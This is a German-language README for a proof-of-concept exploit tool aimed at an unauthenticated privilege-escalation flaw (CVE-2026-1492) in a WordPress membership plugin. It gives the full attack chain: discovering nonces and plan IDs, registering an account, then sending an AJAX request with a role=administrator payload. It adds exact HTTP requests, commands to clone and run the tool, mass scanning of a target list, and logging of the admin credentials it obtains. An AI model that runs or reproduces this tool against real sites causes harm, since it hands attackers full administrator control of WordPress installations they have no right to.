
User Registration & Membership <= 5.1.2 - Nicht authentifizierte Privilegienerweiterung über die Mitgliedschaftsregistrierung
User Registration & Membership <= 5.1.2 - Nicht authentifizierte Privilegieneskalation über die Mitgliedschaftsregistrierung
Beschreibung:
Das User Registration & Membership-Plugin für WordPress ist in allen Versionen bis einschließlich 5.1.2 anfällig für nicht authentifizierte Privilegieneskalation. Die Schwachstelle geht darauf zurück, dass der AJAX-Handler user_registration_membership_register_member während des Mitgliedschafts-Registrierungsprozesses einen vom Benutzer übermittelten role-Wert akzeptiert, ohne eine serverseitige Allowlist- oder Berechtigungsprüfung durchzusetzen. Ein vollständig nicht authentifizierter Remote-Angreifer kann eine mehrstufige AJAX-Anfragekette konstruieren — zuerst ein neues Benutzerkonto registrieren und dann einen bösartigen register_member-Aufruf mit "role": "administrator" in der members_data-JSON-Nutzlast übermitteln —, um stillschweigend ein vollwertiges WordPress-Administrator-Konto zu erstellen. Dies führt zur vollständigen Kompromittierung der betroffenen WordPress-Installation, ohne dass eine Benutzerinteraktion erforderlich ist.
Dies ist ein Proof-of-Concept-Exploit-Skript (PoC), das eine vollständige zustandsbasierte Angriffskette gegen WordPress-Seiten implementiert, auf denen eine verwundbare Version des User Registration & Membership-Plugins läuft. Das Tool führt eine intelligente mehrstufige Exploitation mit automatischer Erkennung, Plan-Extraktion, Nonce-Sammlung, Zwei-Fluss-Registrierung, Rollen-Injektion und Admin-Verifikation durch.
[Discovery Phase]
GET /membership-pricing/ → Extract membership plan IDs
GET /registration/ → Extract form fields, nonces, AJAX params
↓
[Registration Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
→ Register new user account
↓
[Role Injection Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator", "membership":"<id>", ...}
→ Inject administrator role into newly created account
↓
[Admin Verification Phase]
GET /wp-admin/ → Check for admin dashboard indicators
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Fallback Override — Flow B]
If Flow A admin check fails → repeat with fresh username/email
↓
[Write to Nx_admin.txt]
Format: https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
Oder über eine Requirements-Datei:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-1492.py
python3 CVE-2026-1492.py
Das Tool verwendet eine vollständig interaktive Terminaloberfläche auf Basis von Rich. Alle Parameter werden zur Laufzeit abgefragt.
Erstellen Sie eine einfache Textdatei (Standard: list.txt) mit einem Ziel pro Zeile:
https://target1.com
https://target2.com
http://target3.com/wordpress
Targets file [list.txt]: list.txt
Credentials:
- Username prefix: random number is added per site (fresh user per target/plan/flow)
- Email: if left empty, it will be built from the username automatically
- Password: fixed for all sites
Username prefix (optional): Nxploited
Email (optional):
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
Das Tool erkennt und analysiert automatisch:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>
⚠️ Der Server akzeptiert das
role-Feld vom Client ohne jede Allowlist-Prüfung — dies ist die Grundursache von CVE-2026-1492.
Das Tool öffnet eine neue Sitzung, meldet sich mit den neu erstellten Anmeldedaten an und testet Folgendes:
https://target.com/wp-login.php user:Nxploited_A_482910|pass:Nx_12999
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-1492 | User Registration & Membership — Admin PoC ║
║ By: Nxploited | GitHub: github.com/Nxploited | @KNxploited ║
╚══════════════════════════════════════════════════════════════════════╝
[INFO] https://target.com
[OK] https://target.com | REG-A-OK user:Nxploited_A_482910 mem:3
[OK] https://target.com | MEM-A-OK membership A (role=administrator payload) sent
[OK] https://target.com | ADMIN-A user:Nxploited_A_482910 pass:Nx_12999 mem:3
┌─────────────────────────────��───────────────────────────────────────────────┐
│ Target │ Status │ Note │
├─────────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ ADMIN-A │ user:Nxploited_A_482910 ... │
│ https://target2.com │ MEM-B-FAIL │ membership not configured │
│ https://target3.com │ DEAD │ connection error │
└─────────────────────────────────────────────────────────────────────────────┘
Von: Nxploited (Khaled Alenazi)
DIESES TOOL WIRD AUSSCHLIESSLICH FÜR BILDUNGSZWECKE UND AUTORISIERTE SICHERHEITSFORSCHUNG BEREITGESTELLT.
Der Autor, Nxploited (Khaled Alenazi), sowie alle Mitwirkenden an diesem Projekt billigen, unterstützen oder übernehmen keinerlei Verantwortung für den Missbrauch dieses Tools oder für Schäden, die durch die Verwendung dieser Software gegen Systeme entstehen, für die Sie keine ausdrückliche schriftliche Genehmigung besitzen.
- ✅ Zulässig: Verwendung auf Systemen, die Ihnen gehören oder für die Ihnen eine ausdrückliche schriftliche Erlaubnis zum Testen erteilt wurde.
- ❌ Verboten: Verwendung gegen Systeme ohne vorherige ausdrückliche schriftliche Genehmigung des Systemeigentümers.
Unbefugter Zugriff auf Computersysteme ist illegal und wird nach geltendem Recht geahndet, einschließlich, aber nicht beschränkt auf den Computer Fraud and Abuse Act (CFAA), den Computer Misuse Act (CMA) und entsprechende Gesetze weltweit.
Durch die Verwendung dieses Tools übernehmen Sie die alleinige und vollständige Verantwortung für Ihre Handlungen und bestätigen, dass Sie die rechtliche Befugnis haben, die Zielsysteme zu testen.
Der Autor übernimmt keinerlei Haftung für direkte, indirekte, zufällige, Folge- oder sonstige Schäden, die durch die Verwendung oder den Missbrauch dieser Software entstehen.
© 2026 Nxploited (Khaled Alenazi) — Nur für autorisierte Sicherheitsforschung.
| Feld | Details |
|---|
| CVE-ID | CVE-2026-1492 |
| Schweregrad | CRITICAL — CVSS v3.1-Score: 9.8 |
| Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Betroffene Software | User Registration & Membership — Custom Registration Form Builder, Custom Login Form, User Profile, Content Restriction & Membership Plugin for WordPress |
| Betroffene Versionen | Alle Versionen bis einschließlich 5.1.2 |
| Schwachstellentyp | Unsachgemäßes Berechtigungsmanagement — Erstellung von Administrator-Konten ohne Authentifizierung |
| Erforderliche Authentifizierung | Keine |
| CWE | CWE-269: Improper Privilege Management |
| Ziel | Was extrahiert wird |
|---|
/membership-pricing/ | Mitgliedschaftsplan-IDs, Links zur Registrierungsseite |
/registration/ | Formularfelder, Nonces, AJAX-URLs, Radio-Inputs für Mitgliedschaften |
user_registration_params-JS-Objekt | ajax_url, security-Nonce, Formular-Metadaten |
ur_membership_frontend_localized_data | Mitgliedschaftsspezifische Nonce, AJAX-Endpunkt |
| Endpunkt | Geprüfter Indikator |
|---|
/wp-admin/ | adminmenu, wp-admin-bar, manage_options |
/wp-admin/users.php | users.php |
/wp-admin/plugin-install.php | upload-plugin, plugin-install-tab |
| Datei | Beschreibung |
|---|
Nx_admin.txt | ✅ Bestätigte Administrator-Konten |
membership_success_log.txt | Alle erfolgreichen Aufrufe der Mitgliedschafts-Rolleninjektion |
discovery_log.txt | Vollständige Erkennungsdaten pro Ziel (Nonces, IDs, Felder) |
registration_log.txt | Alle Registrierungs-AJAX-Anfragen und -Antworten |
membership_log.txt | Alle Mitgliedschafts-AJAX-Anfragen und -Antworten |
admin_check_log.txt | Anmeldeversuche und Admin-Verifikationsergebnisse |
| Status | Farbe | Bedeutung |
|---|
ADMIN-A / ADMIN-B | 🟢 Grün | Administrator bestätigt — Flow A oder B |
ADMIN-A-OVERRIDE | 🟢 Grün | Admin nach Override-Versuch bestätigt |
REG-A-FAIL / REG-B-FAIL | 🟡 Gelb | Registrierungs-AJAX hat einen Fehler zurückgegeben |
MEM-A-FAIL / MEM-B-FAIL | 🟣 Magenta | Mitgliedschafts-Rolleninjektions-Aufruf fehlgeschlagen |
REG-PENDING-A/B | ⚫ Dunkel | Konto erfordert E-Mail-Verifizierung oder Admin-Freigabe |
NO-MEM-ID | ⚫ Dunkel | Mitgliedschaftsplan-ID auf dem Ziel nicht gefunden |
NO-UR-NONCE | ⚫ Dunkel | Registrierungs-Nonce nicht extrahierbar |
NO-ADMIN | ⚫ Dunkel | Mitgliedschaft OK, aber Admin-Zugriff nicht bestätigt |
TIMEOUT | ⚫ Dunkel | HTTP-Timeout |
DEAD | ⚫ Dunkel | Verbindungsfehler — Seite nicht erreichbar |
ERROR | 🔴 Rot | Unerwartete Ausnahme |